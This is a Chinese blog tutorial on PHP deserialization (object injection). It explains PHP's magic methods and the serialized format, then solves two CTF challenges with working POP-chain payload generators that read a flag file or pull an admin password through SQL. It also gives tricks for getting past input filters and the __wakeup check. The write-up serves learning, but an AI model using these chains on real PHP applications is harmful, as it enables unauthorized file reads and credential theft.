PHP反序列化详解

今天有空系统学习下php反序列化的内容

反序列化:

有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

为什么会有PHP反序列化漏洞:

PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的。

魔法函数:

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。

__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。

__toString:当对象被当做一个字符串使用时调用。

__sleep:  序列化对象之前就调用此方法(其返回需要一个数组)

__wakeup:  反序列化恢复对象之前调用该方法

__call:  当调用对象中不存在的方法会自动调用该方法。

__get:  在调用私有属性的时候会自动执行

__isset():  在不可访问的属性上调用isset()或empty()触发

__unset(): 在不可访问的属性上使用unset()时触发

__invoke(),调用函数的方式调用一个对象时的回应方法

在php官方文档中也有说明 魔术方法

类属性:

public 公有

private 私有

protect 保护

他们三个在调用并输出得到的结果会有所不同,我们来通过具体代码了解下

<?php 
class Test{
    public $test2="hello world";
    private $test1='hello world';
    protected $test3='hello world';
}
 
$a=new Test();
echo serialize($a);
//O:4:"Test":3:{s:5:"test2";s:11:"hello world";s:11:"Testtest1";s:11:"hello world";s:8:"*test3";s:11:"hello world";}

可以很明显的发现,在输出不同属性的类时候字符串的长度会有不同。

通过对网页抓取输出是这样的

//O:4:”Test”:3:{s:5:”test2″;s:11:”hello world”;s:11:”\00Test\00test1″;s:11:”hello world”;s:8:”\00*\00test3″;s:11:”hello world”;}

private的参数被反序列化后变成 \00Test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3

这序列化的内容都有什么含义呢?

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

官方定义:

可能看到上面的解释还是看不懂如何构造POP链,如何触发某魔法函数

我们先从官方文档中了解一下他们

__sleep()与__wakeup():

__toSring():

__invoke():

其他暂时不贴(不想贴了)

如何利用:

__toString触发条件: echo ($obj) / print($obj) 打印时会触发 字符串连接时 格式化字符串时 与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 格式化SQL语句,绑定参数时 数组中有字符串时

__destruct触发条件: 和构造函数相反,当对象所在函数调用完毕后执行。

__wakeup失效:php版本< 5.6.25 | < 7.0.10    当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行

使用+绕过正则  例:
preg_match(‘/[oc]:\d+:/i’, $var)
O:4:”Demo”:1:{s:10:”Demofile”;s:16:”f15g_1s_here.php”;}
O:+4:”Demo”:1:{s:10:”Demofile”;s:16:”f15g_1s_here.php”;}

etc.

从几道题看反序列化:

MRCTF2020 EZPOP

打开靶机,直接给了源码:

&lt;?php 
//flag is in flag.php 
//WTF IS THIS? 
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 
//And Crack It! 
class Modifier { 
    protected $var; 
    public function append($value){ 
        include($value); 
    } 
    public function __invoke(){ 
        $this-&gt;append($this-&gt;var);
    }
}
 
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this-&gt;source = $file;
        echo 'Welcome to '.$this-&gt;source.;
    }
    public function __toString(){
        return $this-&gt;str-&gt;source;
    }
 
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this-&gt;source)) {
            echo "hacker";
            $this-&gt;source = "index.php";
        }
    }
}
 
class Test{
    public $p;
    public function __construct(){
        $this-&gt;p = array();
    }
 
    public function __get($key){
        $function = $this-&gt;p;
        return $function();
    }
}
 
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
审计:

首先我们找找在哪里可以读到文件很明显的发现了Modifier类中有include,而想要调用这个函数,我们需要调用__invoke()这个魔术方法,通过上面的知识我们知道

__invoke()当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

这时候就需要寻找哪个魔术方法返回了函数,很明显发现了Test类的__get方法 return function,而get方法如何调用呢?

__get: 当访问和设置未定义和已经订定义但关键字为’private,protected’属性时会自动调用__get(),

看到Show类 有个__construct()魔术方法 创建新对象的时候会自动调用这个方法,__toString() 魔术方法当echo 一个对象时会自动触发__toString()魔术方法

所以要echo include()里的内容,需要让source等于一个对象

解题:

调用include()函数,让Test类中的属性p等于Modifier这个类,从而触发__get()魔术方法,将Modifier这个类变成一个函数,从而调用__invoke()方法,进而调用include()函数,让source 等于对象,进而触发__toString方法,输出内容

也就是 触发Show类中的wakeup方法,wakeup方法做字符串处理,触发tosring方法,如果将str实例化为Test,因为Test类中不含source属性,所以调用get方法,将function实例化为Modifier类,即可触发其中invoke方法,最终调用文件包含函数,读取flag.php

$a=new Show();
$a->source=$a;
$b=new Test();
$a->str=$b;
$c=new Modifier();
$b->p=$c;
$a=serialize($a);
echo $a;

传入就可以获得flag了


[GYCTF2020]Easyphp

p3师傅的题

&lt;?php 
error_reporting(0); 
session_start(); 
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); 
    return str_replace($array,'hacker',$parm); 
} 
class User { 
    public $id; 
    public $age=null; 
    public $nickname=null; 
    public function login() { 
    if(isset($_POST['username'])&amp;&amp;isset($_POST['password'])){ 
        $mysqli=new dbCtrl(); 
        $this-&gt;id=$mysqli-&gt;login('select id,password from user where username=?');
        if($this-&gt;id){
        $_SESSION['id']=$this-&gt;id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "";
        return $this-&gt;id;
        }
    }
}
    public function update(){
        $Info=unserialize($this-&gt;getNewinfo());
        $age=$Info-&gt;age;
        $nickname=$Info-&gt;nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this-&gt;nickname);//危
    }
    public function __toString()
    {
        $this-&gt;nickname-&gt;update($this-&gt;age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this-&gt;age=$age;
        $this-&gt;nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this-&gt;CtrlCase-&gt;login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this-&gt;sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this-&gt;name=$_POST['username'];
        $this-&gt;password=$_POST['password'];
        $this-&gt;token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this-&gt;mysqli=new mysqli($this-&gt;hostname, $this-&gt;dbuser, $this-&gt;dbpass, $this-&gt;database);
        if ($this-&gt;mysqli-&gt;connect_error) {
            die("连接失败,错误:" . $this-&gt;mysqli-&gt;connect_error);
        }
        $result=$this-&gt;mysqli-&gt;prepare($sql);
        $result-&gt;bind_param('s', $this-&gt;name);
        $result-&gt;execute();
        $result-&gt;bind_result($idResult, $passwordResult);
        $result-&gt;fetch();
        $result-&gt;close();
        if ($this-&gt;token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this-&gt;password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this-&gt;name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

前面的代码含义就是登陆就给flag,主要是反序列化的内容

UpdateHepler::__destruct()->User::__toString->Info::__Call()->dbCtrl::login()

首先在user类中发现反序列化函数

跟进发现调用了UpdateHelper,跟进

发现会直接调用魔法函数__destruct,同时这里echo字符串,会触发__ toString,

在user类中找到了

但是好像用不上

这里的__call可能我们会用到

总结pop链思路: UpdateHelper类触发__destruct(),然后会输出字符串触发User类的__toString(),
这里使User类调用Info里的nickname 因为Info里面没有__destruct从而触发__call将sql语句带入查询
<?php
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
}
class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;
}
class UpdateHelper
{
    public $id;
    public $newinfo;
    public $sql;
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name='admin';
    public $password;
    public $mysqli;
    public $token;
}
$d = new dbCtrl();
$d->token='admin';
$b = new Info('','1');
$b->CtrlCase=$d;
$a = new user();
$a->nickname=$b;
$a->age="select password,id from user where username=?";
$c=new UpdateHelper();
$c->sql=$a;
echo serialize($c);

 

发表评论

邮箱地址不会被公开。 必填项已用*标注